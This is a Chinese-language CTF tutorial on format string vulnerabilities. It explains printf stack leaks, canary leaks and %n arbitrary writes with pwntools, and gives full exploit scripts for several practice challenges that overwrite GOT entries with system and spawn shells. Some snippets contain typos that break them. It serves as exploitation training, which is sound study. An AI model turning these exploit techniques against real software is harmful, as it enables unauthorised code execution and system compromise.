一、格式化字符串的基本原理
1、了解printf函数族
格式化字符串漏洞主要是printf函数家族的问题。像printf、fprintf、sprintf、snprintf等格式化字符串函数课接受变数量的参数,并且将第一个参数作为格式化字符串
像下面的printf函数一样:前面的第一个参数表示的是格式化字符串,当中的符号说明与后面的参数一一对应。第一个参数中的格式化字符串的数量决定了后面参数的数量
常见的符号i说明:
(1)%d:以十进制形式输出带符号整数
(2) %s:不是打印栈中的内容,而是通过栈中地址寻址。 把存储单元内的数据转换成ASCII字符格式输出,直到遇到字符””\0”才会停止
(3)%p:将所指向的内容当成是指针来输出,不是输出它的地址,实际上与输出十六进制格式差不多
它打印出来的是这个栈地址所指向的内容:
2、printf的输出原理
(1)其中,它的第一个是格式化字符串,然后接下来的就是它的后门几个参数,格式化字符串位于esp处
#include <stdio.h>
int main(){
char str[] = "Hello";
int x = 32;
char s[] = "pwnpwnpwn";
printf("%s %d %s %c", str, x, s, '\n');
return 0;
}
(2)printf的读取方式:
(3)它会按照参数的顺序以此读取内容,但是此时如果我修改掉它的第一个参数的内容为第三个参数的数值,那么此时它的输出就会发生变化
(4)此时它的输出就为:pwnpwnpwn 32 pwnpwnpwn
结论:
① 如果我们能够控制格式化字符串的内容,我们就能得到栈上所有内容的值
② 再通过%s能够任意地址读取了
3、printf的漏洞利用点
(1)我们都知道printf格式化字符串的里的个数和参数的个数都是相同的。 正常使用printf函数:
char str[100];
scnaf("%s", &str);
printf("%s", str);
(2)但是有时候为了简写,它会省略格式化字符串
char str[100];
scnaf("%s", &str);
printf(str);
(4)如果我们str输入的内容是:格式化字符串的形式,它就会把这些内容当作是格式化字符串,然后一次输出格式化字符串后面的每一个参数
然而,有时候为了省事会写成
char str[100];
scanf("%s", &str);
printf(str);
(5)这种情况正常情况下是没有什么问题,但是我如果添加上格式化字符串以后
aaaa-%p-%p-%p-%p-%p-%p-%p-%p
(6)而printf输出的都是栈上的所有内容,也就是说这样就可以通过格式化字符串泄露任意地址,其中较为常见的就是泄露cananry的地址,只要知道canary地址相对于esp的地址,就可以通过%k$p的相对地址来泄露canary的数值
4、$的使用
(4)%K$d:将更改参数对应顺序,与格式化字符串后的第K个参数进行对应
比如下面的printf,他的第一个参数是
#include <stdio.h>
int main(){
int a = 4, b = 6, c = 2;
printf("%3$d + %1$d = %2$d\n",a, b, c);
return 0;
}
正常情况下根据参数的位置输出的是4 + 6 = 2,但是在%d加上指定的参数的位置以后就可以获取到相应的内容
%k在任何的格式化情况下都可以使用:
二、格式化字符串漏洞——任意读
1、泄露canary
其实前面讲解的很清楚了,gdb动态调试能知道canary的位置相对于esp的起始位置,然后利用%K$p 将canary打印出来即可。解题步骤
(1) 获取到canary的地址,可以发现canary距离esp的位置为15,所以利用 %15$p 就可以获取到canary的值
(2)此时需要编写脚本来实现接收到数据
r.sendline('%15$p')
canary = int(r.recv(10), 16)
print('canary ==>' + hex(canary))
print type(canary)
canary共有十位,所以需要接收十位。由于接收到的数据类型为str类型,而p32打包的时候需要用到的是整型。所以需要用 int函数将字符转换成整型,后门的16表示转换的进制数,默认十进制
(3) 溢出时将canary的值重新填写回去,溢出覆盖返回地址即可
payload = 'a' * 32 + p32(canary) + 'a'*12 + p32(0x080484df)
2、泄露pie基地址
三、格式化字符串漏洞——任意写
1、绕过判断,修改某个数值
%n:把前面已经打印的长度写入某个内存地址,写入的是四个字节
%hn:写入的是两个字节
%hhn:写入的是一个字节
如:
利用 %hhn把值0x6a686664 写道0x8045566地址里面
0x64 写进 0x8045566
0x66 写进 0x8045567
0x68 写进 0x8045568
0x6a 写进 0x8045569
p32(0x8045566) + p32(0x8045567) + p32(0x8045568) + p32(0x8045569) + ‘%84c%offset$hnn’ + ‘%84c%offset+1$hnn’ + ‘%2c%offset$hnn’ + ‘%2c%offset+2$hnn’ + ‘%2c% offset+3+2$hnn’
如果是逆序的化就需要溢出,取低字节
(4) %n:将%n之前打印出来的字符个数,赋值给一个变量
很典型的格式化字符串漏洞的任意写题目,只要让pwnme == 8就能getshell。
首先测量格式化输入的地址距离esp的距离:为10
接下来就是修改pwnme地址处的值了,先
# payload = fmtstr_payload(10, {0x0804A068: 8})
payload = p32(0x0804A068) + '%4c%10$n'
2、任意写神器——fmtstr_payload
fmtstr_payload是pwntools里面的一个工具
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
# 第一个参数表示格式化字符串的偏移
# 第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system地址,就写成{printf: system}
# 第三个参数表示已经输出的字符个数,这里没有为,采用默认0
# 第四个参数表示写入方式,是按照字节(byte)、双字节(short)、还是四字节(int)。他对应着hhn、hn、n。默认为hhn
#fmtstr_payload函数返回的就是payload
一般做题主要就是前面的两个参数,基本格式为:
fmtstr_payload(offset, {address:vaule1}) ==> payload = fmtstr_payload(10, {atoi_addr: system_addr})
所以直接利用fmtstr_payload函数修改任意地址的值为任意值即可getshell
如果整个程序都没有开启relor保护的化,可以直接下面存在的一个函数的got表指向system函数的地址,使其执行该函数时会自动执行system函数的地址
payload = fmtstr_payload(10, {e.got["puts"]: 0x080486E8})
四、格式化字符串漏洞——无限循环
待补充
五、常见格式化字符串漏洞题目
1、第五空间2019_决赛_PWN5
利用格式化字符串漏洞的任意写功能,将随机数的值修改成一个固定的值
(1)程序分析:32为程序,开启了Canary和NX保护
(2)打开IDA查看一下源代码
存在一个格式化字符串漏洞,存在一个判断,当输入的一个数与一个随机数相等时获取flag
(3)整体分析
- time 与 srand函数设置一个随机数,这里没什么用
- 打开一个文件然后从里面读取4个字节大小的内容,没有这个文件,读取的数是随机的
- 然后输入你的姓名,不存在溢出情况,但是有一个格式化字符串漏洞
- 然后再输入你的密码,这个密码值会与之前在文件里面的数值进行比较,如果相同就获取flag
(4)漏洞分析
- 存在格式化字符串漏洞,利用它任意写的特点。第一次输入这个随机数改成一个常数,第二次输入这个常数就能判断成功获得flag了。
- 由于这个程序没有开启RELRO保护,可以修改plt表和got表。可以利用格式化字符串的任意写功能,第一次输入时将atoi函数的got表修改成system函数,第二次输入时将nptr处写出 “/bin/sh”,因此当你接下来要执行atoi函数时就会执行system函数,就可以获取flag
(5)解题过程
- 确定格式化字符串的位置, 可以发现格式化字符串在第十个
muggle@muggle-virtual-machine:~/CTF-Pwn/BUUCTF/[第五空间2019 决赛]PWN5$ ./pwn
your name:aaaa -%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
Hello,aaaa -0xff947738-0x63-(nil)-0xf7f0da9c-0x3-0xf7ee0410-0x1-(nil)-0x1-0x61616161-0x70252d20-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70
- 然后将随机数修改为4
exp1 :
from pwn import *
local = 1
e = ELF("./pwn")
if local == 1:
r = process("./pwn")
#libc = ELF("")
# context(log_level = 'debug')
else :
r = reomte("")
libc = ELF("")
# context(log_level = 'debug')
def gdb_attach():
gdb.attach(r)
pause()
addr = 0x0804C044
payload = p32(addr) + "%10$n"
r.recvuntil("your name:")
r.sendline(payload)
# gdb_attach()
r.recvuntil("your passwd:")
r.sendline(str(4))
r.interactive()
分析:
addr表示的地址是随机数(dword_804C044)的地址,然后由于格式化字符串在第十个就%10$n,而且32位程序前面有四个字节,故将这个地址的值改为了一个固定的值4,所以再输入4就可以获得flag
exp2:
from pwn import *
local = 1
e = ELF("./pwn")
if local == 1:
r = process("./pwn")
#libc = ELF("")
# context(log_level = 'debug')
else :
r = reomte("")
libc = ELF("")
# context(log_level = 'debug')
def gdb_attach():
gdb.attach(r)
pause()
atoi_got_addr = e.got["atoi"]
system_addr = e.symbols["system"]
payload = fmtstr_payload(10, {atoi_addr: system_addr})
r.recvuntil("your name:")
r.sendline(payload)
r.sendline("/bin/sh")
r.interactive()
分析:
利用fmstr_payload这个工具,直接将atoi的got表的地址改成了system函数地址,然后再输入参数就可以在执行atoi时执行system函数地址。
2、jarvisoj_fm
任意写
(1)程序分析:32位程序,开启了NX保护,打开 IDA, 查看一下源代码
可以明显的看到格式化字符串漏洞,并且当x等于4时就可以获得权限。所以这道题的思路就是利用格式化字符串漏洞的任意写功能修改x的值为4。
exp:
from pwn import *
r = remote("node4.buuoj.cn",25852)
#r = process("./pwn")
addr = 0x0804A02C
payload1 = fmtstr_payload(11,{addr:0x4}
#payload1 = p32(addr) + '%11$hhn'
r.sendline(payload1)
r.sendline("cat ./flag")
r.interactive()
3、HarekazeCTF_2019
ret2libc(printf泄露)
程序分析:**64位程序,开启了NX保护**,打开 IDA, 查看一下源代码
存在read函数溢出,再查看是否存在后门地址。没有发现system函数,利用libc泄露system函数了
注意:
(1)这里是用printf来打印泄露read函数的真正地址,这里泄露printf函数是不行的。printf泄露的话要注意第一个是格式化字符串,所以你首先须要在ida里面找到一个带有%s格式化字符串的地址。
(2)找某个文件名的方法
find -name “flag”
exp:
from pwn import *
#r = process("./pwn")
r = remote("node4.buuoj.cn",25038)
e = ELF("./pwn")
libc = ELF("./libc.so.6")
context(log_level = 'debug')
printf_plt_addr = e.plt["printf"]
read_got_addr = e.got["read"]
main_addr = e.symbols["main"]
format_addr = 0x0000000000400770
rdi_ret_addr = 0x0000000000400733
rsi_r15_ret_addr = 0x0000000000400731
offset = 0x20 + 8
payload1 = offset*'a' + p64(rdi_ret_addr) + p64(format_addr) + p64(rsi_r15_ret_addr) + p64(read_got_addr) + p64(1) + p64(printf_plt_addr) + p64(main_addr)
r.recvuntil("What's your name? ")
r.sendline(payload1)
read_addr = u64(r.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
print(hex(read_addr))
#pause()
base_addr = read_addr - libc.symbols["read"]
system_addr = base_addr + libc.symbols["system"]
binsh_addr = base_addr + libc.search("/bin/sh").next()
payload2 = offset*'a' + p64(rdi_ret_addr) + p64(binsh_addr) + p64(system_addr) + p64(1)
r.recvuntil("What's your name? ")
r.sendline(payload2)
#r.sendline("cat flag")
r.interactive()
六、参考链接
(1)https://blog.csdn.net/qq_39268483/article/details/92399248
(2)https://www.kanxue.com/book-57-857.htm
(3)https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-example/
(4)https://baijiahao.baidu.com/s?id=1669093381463931480&wfr=spider&for=pc
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮箱至 1627319559@qq.com